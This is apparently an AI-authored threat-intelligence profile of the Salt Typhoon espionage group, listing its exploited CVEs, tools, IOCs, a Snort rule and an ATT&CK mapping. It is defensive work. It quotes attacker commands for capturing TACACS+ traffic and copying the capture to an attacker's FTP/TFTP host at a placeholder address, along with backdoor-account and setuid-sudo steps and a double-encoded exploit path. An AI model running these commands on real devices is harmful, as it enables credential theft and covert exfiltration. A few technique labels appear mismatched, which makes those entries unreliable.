Salt Typhoon Threat Profile Report

Author: Manus AI

1. Executive Summary

Salt Typhoon, a highly sophisticated Chinese state-sponsored cyber espionage group, poses a significant and persistent threat to critical infrastructure globally. Also identified by various other aliases such as OPERATOR PANDA, RedMike, UNC5807, GhostEmperor, Earth Estries, and FamousSparrow, this advanced persistent threat (APT) group primarily targets telecommunications, government, transportation, lodging, and military sectors. Their operations are characterized by a blend of exploiting known vulnerabilities, leveraging living-off-the-land (LOL) techniques, and deploying custom-developed malware to achieve long-term access and exfiltrate sensitive data. This report provides a comprehensive overview of Salt Typhoon's tactics, techniques, and procedures (TTPs), the tools they employ, the commands they execute, and their mapping to the MITRE ATT&CK framework, offering actionable intelligence for enhanced defensive postures.

2. Group Aliases and Affiliations

Salt Typhoon is known by several aliases across the cybersecurity community, reflecting the complex and often overlapping nature of threat actor attribution. These include:

- **OPERATOR PANDA**
- **RedMike**
- **UNC5807**
- **GhostEmperor**
- **Earth Estries**
- **FamousSparrow**
- **UNC2286**

The group is strongly linked to state-sponsored initiatives from China, with operations dating back to at least 2021. Their activities are believed to be in furtherance of Chinese intelligence objectives, particularly in gathering strategic information from global telecommunications and critical infrastructure providers.

3. Tactics, Techniques, and Procedures (TTPs)

Salt Typhoon employs a diverse set of TTPs across the attack lifecycle, demonstrating adaptability and a deep understanding of network and system vulnerabilities. Their operations are meticulously planned and executed to ensure stealth and persistence.

3.1. Initial Access

Salt Typhoon primarily gains initial access by exploiting publicly known common vulnerabilities and exposures (CVEs) in public-facing applications and network devices. They show a preference for exploiting known flaws rather than zero-day vulnerabilities, though they are capable of adapting their tactics as new vulnerabilities emerge. Additionally, they leverage trusted connections to pivot into other networks, expanding their reach within target environments.

Key Techniques:

- **Exploiting Public-Facing Application [T1190]:** This is a primary vector for initial compromise. Salt Typhoon actively scans for and exploits vulnerabilities in internet-facing systems such as VPNs, firewalls, and email servers.
- **Trusted Relationship [T1199]:** The group leverages existing trusted connections between providers (e.g., provider-to-provider or provider-to-customer links) to pivot into other networks, exploiting the inherent trust in these relationships.
- **Leveraging Virtual Private Servers (VPSs) [T1583.003]:** VPSs are used as infrastructure for targeting telecommunications and network service providers, including ISPs.
- **Compromising Intermediate Routers [T1584.008]:** They compromise intermediate routers to establish attack pathways into targets of interest, even if the devices are not directly owned by the primary target.
- **Utilizing Publicly Available Code and Tooling [T1588.005, T1588.002]:** Salt Typhoon incorporates publicly available exploits and tools into their operations, such as `siet.py` for exploiting Cisco Smart Install, and Tcl scripts like `map.tcl` and `tclproxy.tcl`.

Exploited CVEs include:

- **CVE-2024-21887** (Ivanti Connect Secure and Ivanti Policy Secure web-component command injection vulnerability), often chained with CVE-2023-46805 for authentication bypass.
- **CVE-2024-3400** (Palo Alto Networks PAN-OS GlobalProtect arbitrary file creation leading to OS command injection).
- **CVE-2023-20273** (Cisco Internetworking Operating System (IOS) XE software web management user interface post-authentication command injection/privilege escalation), commonly chained with CVE-2023-20198.
- **CVE-2023-20198** (Cisco IOS XE web user interface authentication bypass vulnerability). During exploitation, they use WSMA endpoints (`/webui_wsma_Http` or `/webui_wsma_Https`) and obfuscate requests by

“double encoding” portions of the path (e.g., `/%2577eb%2575i_%2577sma_Http`).

- **CVE-2018-0171** (Cisco IOS and IOS XE smart install remote code execution vulnerability).
- **CVE-2023-48788** (Fortinet FortiClient EMS - SQL Injection).
- **CVE-2022-3236** (Sophos Firewall - Remote Code Execution).
- **CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065** (Microsoft Exchange – ProxyLogon).
- Vulnerabilities in Apache Tomcat present in QConvergeConsole.

3.2. Persistence

To maintain persistent access to compromised networks, Salt Typhoon employs a variety of techniques, often designed to obfuscate their presence and ensure long-term access. They frequently modify network device configurations and leverage built-in system functionalities.

Key Techniques:

- **Modifying Access Control Lists (ACLs) [T1562.004]:** They alter ACLs to add IP addresses, bypassing security policies and explicitly permitting traffic from threat actor-controlled IP addresses.

Common ACL names observed include "access-list 20," "50," or "10."

- **Opening Standard and Non-Standard Ports [T1071]:** Salt Typhoon opens various ports (SSH, SFTP, RDP, FTP, HTTP, HTTPS) to create multiple avenues for remote access and data exfiltration. They often use non-standard ports (e.g., 22x22 or xxx22 for SSH, 18xxx for HTTP/HTTPS) to evade detection.
    - They enable SSH servers on high, non-default TCP ports and add keys to existing SSH services [T1098.004] to regain entry.
    - They enable or abuse built-in HTTP/HTTPS management servers, sometimes reconfiguring them to non-default high ports.
- **Executing Commands via SNMP [T1569]:** They leverage SNMP to execute commands, enumerate, and alter configurations for other devices within the same community group. This includes using SNMPwalk (SNMP GET/WALK) and SNMP SET requests [T1016].
- **SSH Activity and Web Interface Requests:** They conduct SSH activity from remote or local IP addresses and utilize web interface panel (POST) requests.
- **Credential Reuse and Automation:** They use service or automation credentials (e.g., those used by configuration-archival systems like RANCID) to enumerate and access other networking devices.
- **Executing Tcl Scripts:** On Cisco IOS devices, they execute Tcl scripts such as `TCLproxy.tcl` and `map.tcl`.
- **Creating Tunnels [T1572]:** They establish tunnels over protocols like Generic Routing Encapsulation (GRE), multipoint GRE (mGRE), or IPsec to create persistent and covert channels for data transmission, blending in with normal network traffic.
- **Running Commands in On-Box Linux Containers [T1610]:** Salt Typhoon utilizes on-box Linux containers, such as Cisco Guest Shell on IOS XE and NX-OS devices, to stage tools, process data locally, and move laterally. This allows them to conduct malicious activities undetected as container activities are not closely monitored.
    - Within Guest Shell, they run Python scripts (e.g., `siet.py`), native Linux tooling, and install packages (e.g., via `pip`/`yum`). They also parse and stage locally collected artifacts (e.g., configurations, packet captures) on device storage [T1560].
    - On NX-OS devices, they use `dohost` to script host-level CLI actions for reconnaissance and persistence.
    - They use Guest Shell commands like `guestshell enable`, `guestshell run bash`, `guestshell disable`, and `guestshell destroy` [T1070.009] to manage their presence.
- **Leveraging Multi-Hop Pivoting Tools [T1090.003]:** They use open-source tools like STOWAWAY to build chained relays for command and control (C2) and operator access, including interactive remote shells, file upload/download, SOCKS5/HTTP proxying, and local/remote port mapping.
- **Windows-Specific Persistence:**
    - **Modification of registry run keys [T1547.001]:** They modify registry run keys to ensure their tools or malware execute upon system startup.
    - **Creation of Windows Services [T1543.003]:** They create new Windows services for persistence.
    - **DLL Sideloading attacks [T1574.001]:** They exploit legitimate application flows by hijacking DLL loading to escalate privileges and maintain persistence.

3.3. Privilege Escalation

Salt Typhoon actively seeks to escalate privileges within compromised environments to gain higher levels of access, often targeting vulnerabilities or weak authentication mechanisms.

Key Techniques:

- **Exploitation for Privilege Escalation [T1068]:** They exploit vulnerabilities such as CVE-2023-20273 to gain root-level user privileges on compromised systems.
- **Brute Force: Password Cracking [T1110.002]:** They brute force passwords, particularly those with weak encryption found in obtained configuration files.

3.4. Defense Evasion

Salt Typhoon employs various techniques to evade detection by security mechanisms and analysts, ensuring their operations remain covert.

Key Techniques:

- **Obfuscated Files or Information: Command Obfuscation [T1027.010]:** They obfuscate paths with "double encoding" to hide their activities.
- **Obfuscated Files or Information [T1027]:** They obfuscate their source IP addresses in system logs, making their actions appear to originate from local IP addresses.
- **Impair Defenses: Disable or Modify System Firewall [T1562.004]:** They modify ACLs to bypass security policies and permit traffic from their controlled IP addresses.
- **Deploy Container [T1610]:** By deploying and operating within virtual containers like Guest Shell, they can evade monitoring services that may not be configured to inspect container activity.
- **Indicator Removal [T1070]:** They delete and/or clear logs, and disable logging or log forwarding to remove traces of their activities.
- **Indicator Removal: Clear Persistence [T1070.009]:** They use commands like `guestshell destroy` to deactivate and uninstall Guest Shell containers, removing persistence mechanisms.
- **Network Boundary Bridging [T1599]:** They abuse peering connections to facilitate exfiltration and C2, leveraging the trust relationships between networks.

3.5. Credential Access

Obtaining credentials is a critical step for Salt Typhoon to expand their access and move laterally within networks. They utilize various methods to harvest sensitive authentication material.

Key Techniques:

- **Network Sniffing [T1040]:** They passively collect packet captures (PCAP) from networks to extract configurations and credentials, particularly targeting TACACS+ traffic on TCP port 49, which may contain cleartext or weakly protected credentials.
- **Modify Authentication Process [T1556]:** They modify router's TACACS+ server configurations to point to actor-controlled IP addresses, enabling them to capture authentication attempts from network administrators or other devices.
- **OS Credential Dumping [T1003]:** They collect router configurations that contain weak Cisco Type 7 passwords, which can be easily decrypted. For Windows systems, they use tools like **Mimikatz** to dump credentials, specifically targeting LSASS Memory [T1003.001].
- **Brute Force: Password Cracking [T1110.002]:** They brute force weak hashed Cisco Type 5 passwords.

3.6. Discovery

Salt Typhoon conducts extensive reconnaissance within compromised networks to map the environment, identify valuable targets, and plan subsequent actions.

Key Techniques:

- **System Information Discovery [T1082]:** They leverage CLI on network devices to gather system information.
- **System Network Configuration Discovery [T1016]:** They enumerate interfaces, VRFs (Virtual Routing and Forwarding), routing tables, and ACLs via CLI and SNMP.
- **Retrieving 'Domain Admin' group details:** On Windows systems, they retrieve details about the 'Domain Admin' group to identify high-value targets.

3.7. Lateral Movement & Collection

Following initial access, Salt Typhoon focuses on moving laterally across the network and collecting sensitive data. They exploit authentication protocols and network capabilities to achieve their objectives.

Key Techniques:

- **Targeting Authentication Protocols:** They target authentication protocols like TACACS+ and RADIUS to facilitate lateral movement across network devices.
- **SNMP Enumeration and SSH:** They use SNMP enumeration and SSH for lateral movement.
- **Passively Collecting Packet Capture (PCAP) [T1040, T1005]:** They collect PCAPs from specific ISP customer networks, often using native tooling on compromised systems. Observed PCAP naming schemes include `mycap.pcap`, `tac.pcap`, and `1.pcap`.
  - **Commands for PCAP Collection (Cisco IOS XE):**
    - `monitor capture mycap interface <interface-name> both`
    - `monitor capture mycap match ipv4 protocol tcp any any eq 49`
    - `monitor capture mycap buffer size 100`
    - `monitor capture mycap start`
    - `show monitor capture mycap buffer brief`
    - `monitor capture mycap export bootflash:tac.pcap`
- **Targeting Network Components:** They target MIB [T1602.001], router interfaces, RSVP sessions, BGP routes, installed software, and configuration files [T1590.004, T1602.002]. This is achieved either from existing network sources or through active device surveys and TFTP.
- **In-transit Network Traffic Capture/Mirroring:** They use SPAN, RSPAN, or ERSPAN capabilities on network devices to capture or mirror traffic.
- **Collecting Provider-Held Data:** They collect sensitive data such as subscriber information, user content, customer records and metadata, network diagrams, inventories, device configurations, vendor lists, and passwords.
- **Creating Accounts/Users and Assigning Privileges [T1136.001]:** They modify router configurations to create new accounts and assign privileges.
  - They also brute force and reuse credentials, often exploiting weak credentials like "cisco."
- **Scanning for Open Ports and Services [T1595]:** They scan for open ports and services and mirror sessions (SPAN/RSPAN).
- **Running Commands on Routers:** They execute commands on routers via SNMP, SSH, and HTTP GET/POST requests, often targeting privileged execution paths like `/level/15/exec/-/*`.

- **Updating Routing Tables:** They update routing tables to route traffic to actor-controlled infrastructure.
- **Windows-Specific Lateral Movement:**
  - **Abuse of SMB for Lateral Movement [T1021.002]:** They leverage Server Message Block (SMB) for lateral movement.
  - **Abuse of PsExec for Command Execution / Lateral Movement [T1569.002, T1021, T1570]:** They use PsExec to execute commands and move laterally within Windows environments.

3.8. Exfiltration

Salt Typhoon's exfiltration strategy focuses on covertly moving stolen data out of compromised networks, often abusing legitimate network functionalities.

Key Techniques:

- **Abuse of Peering Connections [T1599]:** They exploit peering connections to exfiltrate data, leveraging the lack of policy restraints or system configurations that limit data types received by peered ISPs.
- **Leveraging Separate C2 Channels:** They use separate (potentially multiple) command and control channels for exfiltration to conceal data theft within high-traffic nodes like proxies and Network Address Translation (NAT) pools.
- **Using Tunnels for Exfiltration [T1048.003]:** They utilize tunnels (IPsec, GRE) to conduct C2 and exfiltration activities.
  - **Commands for PCAP Exfiltration (Cisco IOS XE):**
    - `copy bootflash:tac.pcap ftp://<domain/service>:*@<IP>`
    - `copy bootflash:tac.pcap tftp://<IP>/tac.pcap`
- **Windows-Specific Exfiltration:**
  - **Abuse of `rar.exe` [T1560]:** They use `rar.exe` to compress sensitive data prior to exfiltration, often staging it in directories like `C:\Users\Public\Music`.

3.9. Command and Control (C2)

Salt Typhoon establishes robust C2 channels to maintain communication with compromised systems and issue commands.

Key Techniques:

- **Application Layer Protocol: Web Protocols [T1071.001]:** They use standard web protocols for C2 communication.
- **Encrypted Channel [T1573]:** They encrypt their C2 communications to avoid detection.
- **Proxy: Multi-hop Proxy [T1090.003]:** They leverage multi-hop proxies, often using tools like STOWAWAY, to obscure their C2 infrastructure.
- **Remote Access Software [T1219]:** They utilize remote access software for direct control over compromised systems.
- **Standard Application Layer Protocol: FTP [T1048.003] and SSH [T1048.002]:** They use these standard protocols for C2, often over non-standard ports.
- **Non-Standard Port [T1571]:** They use non-standard ports for C2 to evade network monitoring.
- **CobaltStrike:** This commercial, full-featured remote access tool is commonly used by Salt Typhoon for various C2 techniques, covering a wide range of sub-techniques under Application Layer Protocol,

Encrypted Channel, and Remote Access Software.
- **Powercat:** Used for Ingress Tool Transfer [T1105] (for downloading/uploading tools) and Command and Scripting Interpreter [T1059] (for execution), facilitating C2 operations.

4. Tools and Procedures

Salt Typhoon employs a combination of custom-developed tools, legitimate system utilities (LOLBins), and publicly available offensive security tools.

Custom SFTP Clients:

- `cmd1`**:** A Linux binary written in Golang, used for encrypted archive transfer and collecting network packet captures.
- `cmd3`**:** Another Linux Golang binary, similar to `cmd1` in build path and code structure, used for encrypted archive transfer.
- `new2`**:** A Linux SFTP client.
- `sft`**:** Another Linux SFTP client.

Living Off The Land Binaries (LOLBins) (Windows):

- **PowerShell:** Used for various tasks, including reconnaissance, credential theft, and data exfiltration.
- **WMIC (Windows Management Instrumentation Command-line):** Abused for command execution.
- **BITSAdmin:** Used for downloading payloads.
- **CertUtil:** Used for various tasks, including decoding files.

Other Observed Tools:

- **Mimikatz:** Used for OS credential dumping, specifically targeting LSASS memory.
- **CobaltStrike:** A commercial adversary simulation software used for C2, remote access, and various post-exploitation activities.
- **Powercat:** A PowerShell-based tool used for network connections, file transfers, and command execution.

Malware:

- **GhostSpider:** An advanced backdoor specifically engineered to infiltrate telecommunications networks, providing persistent access for surveillance and data extraction.
- **Demodex rootkit:** Used for persistence.
- **Zingdoor**
- **Snappybee**

Commands (Cisco IOS XE/IOS XR):

- `monitor capture mycap interface <interface-name> both`
- `monitor capture mycap match ipv4 protocol tcp any any eq 49`
- `monitor capture mycap buffer size 100`
- `monitor capture mycap start`
- `show monitor capture mycap buffer brief`
- `monitor capture mycap export bootflash:tac.pcap`
- `copy bootflash:tac.pcap ftp://<domain/service>:*@<IP>`

- `copy bootflash:tac.pcap tftp://<IP>/tac.pcap`
- `service sshd_operns start`
- `useradd cisco`
- `password cisco`
- `sudo vi /etc/sudoers`
- `chmod 4755 /usr/bin/sudo`
- `guestshell enable`
- `guestshell run bash`
- `guestshell disable`
- `guestshell destroy`
- `run guestshell` (NX-OS)
- `dohost` (NX-OS)
- `chvrf`
- `no ip http server`
- `no ip http secure-server`
- `ip http secure-server`

Commands (Windows):

- `copy.exe`: Used to retrieve remotely hosted payloads.
- `rar.exe`: Used to compress sensitive data prior to exfiltration.

Scripts:

- **Tcl scripts:** `TCLproxy.tcl`, `map.tcl`
- **Python scripts:** `siet.py`
- **Batch scripts:** Used for executing tools.

5. Indicators of Compromise (IOCs)

IP-based indicators (August 2021 - June 2025):

- 1.222.84[.]29
- 103.168.91[.]231
- 103.199.17[.]238
- 103.253.40[.]199
- 103.7.58[.]162
- 104.194.129[.]137
- 104.194.147[.]15
- 104.194.150[.]26
- 104.194.153[.]181
- 104.194.154[.]150
- 104.194.154[.]222
- 107.189.15[.]206
- 14.143.247[.]202
- 142.171.227[.]16
- 144.172.76[.]213
- 144.172.79[.]4
- 146.70.24[.]144

- 146.70.79[.]68
- 146.70.79[.]78
- 146.70.79[.]81
- 164.82.20[.]53
- 167.88.164[.]166
- 167.88.172[.]70
- 167.88.173[.]158
- 167.88.173[.]252
- 167.88.173[.]58
- 167.88.175[.]175
- 167.88.175[.]231
- 172.86.101[.]123
- 172.86.102[.]83
- 172.86.106[.]15
- 172.86.106[.]234
- 172.86.106[.]39
- 172.86.108[.]11
- 172.86.124[.]235
- 172.86.65[.]145
- 172.86.70[.]73
- 172.86.80[.]15
- 190.131.194[.]90
- 193.239.86[.]132
- 193.239.86[.]146
- 193.43.104[.]185
- 193.56.255[.]209
- 193.56.255[.]210
- 212.236.17[.]237
- 23.227.196[.]22
- 23.227.199[.]77
- 23.227.202[.]253
- 37.120.239[.]52
- 38.71.99[.]145
- 43.254.132[.]118
- 45.125.64[.]195
- 45.125.67[.]144
- 45.125.67[.]226
- 45.146.120[.]210
- 45.146.120[.]213
- 45.59.118[.]136
- 45.59.120[.]171
- 45.61.128[.]29
- 45.61.132[.]125
- 45.61.133[.]157
- 45.61.133[.]31
- 45.61.133[.]61

- 45.61.133[.]77
- 45.61.133[.]79
- 45.61.134[.]134
- 45.61.134[.]22
- 45.61.134[.]223
- 45.61.149[.]200
- 45.61.149[.]62
- 45.61.151[.]12
- 45.61.154[.]130
- 45.61.159[.]25
- 45.61.165[.]157
- 5.181.132[.]95
- 59.148.233[.]250
- 61.19.148[.]66
- 63.141.234[.]109
- 63.245.1[.]13
- 63.245.1[.]34
- 74.48.78[.]66
- 74.48.78[.]116
- 74.48.84[.]119
- 85.195.89[.]94
- 89.117.1[.]147
- 89.117.2[.]39
- 89.41.26[.]142
- 91.231.186[.]227
- 91.245.253[.]99
- 2001:41d0:700:65dc::f656:929f
- 2a10:1fc0:7::f19c:39b3

SFTP Client Hashes:

- **`cmd3`**:
  - MD5: `eba9ae70d1b22de67b0eba160a6762d8`
  - SHA256: `8b448f47e36909f3a921b4ff803cf3a61985d8a10f0fe594b405b92ed0fc21f1`
- **`cmd1`**:
  - MD5: `33e692f435d6cf3c637ba54836c63373`
  - SHA256: `f2bbba1ea0f34b262f158ff31e00d39d89bbc471d04e8fca60a034cabe18e4f4`
- **`new2`**:
  - SHA256: `da692ea0b7f24e31696f8b4fe8a130dbbe3c7c15cea6bde24cccc1fb0a73ae9e`
- **`sft`**:
  - SHA256: `a1abc3d11c16ae83b9a7cf62ebe6d144dfc5e19b579a99bad062a9d31cf30bfe`

Yara Rules:

- `SALT_TYPHOON_CMD1_SFTP_CLIENT`
- `SALT_TYPHOON_NEW2_SFTP_CLIENT`

Snort Rule:

- `alert tcp any any -> any $HTTP_PORTS (msg:"Potential CVE-2023-20198 exploit attempt - HTTP Request to Add Privilege 15 User Detected"; content:"POST"; http_method; pcre:"/(webui_wsma|%2577ebui_wsma|%2577eb%2575i_%2577sma)/i"; http_uri; content:"<request xmlns=\"urn:cisco:wsma-config\" correlator=\"execl\">"; http_client_body; content:"<configApply details=\"all\">"; http_client_body; content:"<config-data>"; http_client_body; content:"<cli-config-data-block>"; http_client_body; content:"username"; http_client_body; content:"privilege 15"; http_client_body; content:"secret"; http_client_body; sid:1000003; rev:1;)`

6. MITRE ATT&CK Matrix

The following table summarizes Salt Typhoon's TTPs mapped to the MITRE ATT&CK for Enterprise framework. This mapping provides a structured understanding of their operational methodologies.

Tactic	Technique ID	Technique Name	Description/Use by Salt Typhoon
Reconnaissance	T1595	Active Scanning	Actively scan for open ports and services.
	T1590.004	Gather Victim Network Information: Network Topology	Leverage configuration files from exploited devices to gather network topology information.
Resource Development	T1583.003	Acquire Infrastructure: Virtual Private Servers	Leverage VPS as infrastructure.
	T1584.008	Compromise Infrastructure: Network Devices	Compromise intermediate routers.
	T1588.005	Obtain Capabilities: Exploits	Utilize publicly available code (e.g., `siet.py`) to exploit vulnerable devices.
	T1588.002	Obtain Capabilities: Tool	Utilize publicly available tooling (e.g., `map.tcl`, `tclproxy.tcl`, `wodSSHServer`).
Initial Access	T1190	Exploit Public-Facing Application	Exploit publicly known CVEs in public-facing applications.
	T1199	Trusted Relationship	Leverage trusted connections between providers to pivot between networks.
Execution	T1569	System Services	Executing commands via SNMP.
	T1609	Container Administration Command	Use Guest Shell to load open-source tools and as a jump point for reconnaissance and follow-on actions.

Tactic	Technique ID	Technique Name	Description/Use by Salt Typhoon
	T1059.006	Command and Scripting Interpreter: Python	Use Python scripts (e.g., `siet.py`).
	T1059.008	Command and Scripting Interpreter: Network Device CLI	Use built-in CLI on network devices to execute native commands.
	T1059	Command and Scripting Interpreter	Use LOLBins like PowerShell, WMIC, BITSAdmin, CertUtil.
	T1218	System Binary Proxy Execution	Use LOLBins for execution.
	T1047	Windows Management Instrumentation	Abuse WMI for command execution.
	T1569.002	System Services: Service Execution	Use PsExec to execute commands via temporary Windows services.
Persistence	T1136.001	Create Account: Local Account	Create new local users on network devices for persistence.
	T1543.005	Container Service	Leverage Linux-based Guest Shell containers.
	T1098.004	Account Manipulation: SSH Authorized Keys	Regain entry into environments via SSH into network devices.
	T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	Modify registry run keys for persistence.
	T1543.003	Create or Modify System Process: Windows Service	Create Windows Services for persistence.
	T1574.001	Hijack Execution Flow: DLL Side-Loading	Perform DLL Sideloading attacks.
Privilege Escalation	T1068	Exploitation for Privilege Escalation	Exploit CVE-2023-20273 to gain root-level user privileges.
	T1110.002	Brute Force: Password Cracking	Brute force passwords with weak encryption in obtained configuration files.
Defense Evasion	T1027.010	Obfuscated Files or Information: Command Obfuscation	Obfuscate paths with “double encoding.”

Tactic	Technique ID	Technique Name	Description/Use by Salt Typhoon
	T1027	Obfuscated Files or Information	Obfuscate source IP addresses in system logs.
	T1562.004	Impair Defenses: Disable or Modify System Firewall	Modify ACLs to bypass security policies.
	T1610	Deploy Container	Deploy virtual container (e.g., Guest Shell) to persist and evade monitoring.
	T1070	Indicator Removal	Delete and/or clear logs.
	T1070.009	Indicator Removal: Clear Persistence	Use Guest Shell destroy command to deactivate and uninstall.
	T1599	Network Boundary Bridging	Abuse peering connections.
Credential Access	T1040	Network Sniffing	Passively collect packet capture (PCAP) for configurations and credentials.
	T1556	Modify Authentication Process	Modify router's TACACS+ server configuration to point to actor-controlled IP.
	T1003	OS Credential Dumping	Collect router configuration with weak Cisco Type 7 passwords; use Mimikatz for LSASS memory dumping.
	T1110.002	Brute Force: Password Cracking	Brute force weak hashed Cisco Type 5 passwords.
Discovery	T1082	System Information Discovery	Leverage CLI on network devices to gather system information.
	T1016	System Network Configuration Discovery	Enumerate interfaces/VRFs/routing/ACLs via CLI/SNMP.
Lateral Movement	T1021	Remote Services	Enumerate and alter SNMP configurations for other devices.
	T1021.004	Remote Services: SSH	Enable SSH servers and open external-facing ports.
	T1021.002	Remote Services: SMB/Windows Admin Shares	Abuse SMB for lateral movement.
	T1570	Lateral Tool Transfer	Use PsExec for lateral tool transfer.

Tactic	Technique ID	Technique Name	Description/Use by Salt Typhoon
Collection	T1560	Archive Collected Data	Compile configurations and packet captures; use `rar.exe` to compress data.
	T1602.001	Data from Configuration Repository: SNMP (MIB Dump)	Target MIB to collect network information via SNMP.
	T1602.002	Data from Configuration Repository: Router Configuration	Acquire credentials from router configurations.
	T1005	Data from Network Shared Drive	Collect data from network shared drives.
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	Use standard web protocols for C2.
	T1573	Encrypted Channel	Encrypt C2 communications.
	T1090.003	Proxy: Multi-hop Proxy	Use multi-hop proxies (e.g., STOWAWAY).
	T1219	Remote Access Software	Utilize remote access software (e.g., CobaltStrike).
	T1048.003	Standard Application Layer Protocol: FTP	Use FTP for C2.
	T1048.002	Standard Application Layer Protocol: SSH	Use SSH for C2.
	T1571	Non-Standard Port	Use non-standard ports for C2.
	T1105	Ingress Tool Transfer	Use Powercat for downloading/uploading tools.
Exfiltration	T1048.003	Exfiltration Over Alternative Protocol: FTP	Use FTP for exfiltration.
	T1567.002	Exfiltration Over Web Service: Exfiltration to Cloud Storage	Exfiltrate data to cloud storage.

7. Conclusion

Salt Typhoon represents a significant and evolving cyber threat, particularly to global telecommunications and critical infrastructure. Their sophisticated TTPs, ranging from exploiting known vulnerabilities and leveraging LOLBins to deploying custom malware and employing advanced evasion techniques, underscore the need for robust and adaptive cybersecurity defenses. By understanding their methodologies, tools, and

MITRE ATT&CK mappings, organizations can better prepare for, detect, and respond to attacks from this persistent and well-resourced APT group. Continuous monitoring, timely patching, strong authentication, and comprehensive logging are essential to mitigate the risks posed by Salt Typhoon and similar state-sponsored threats.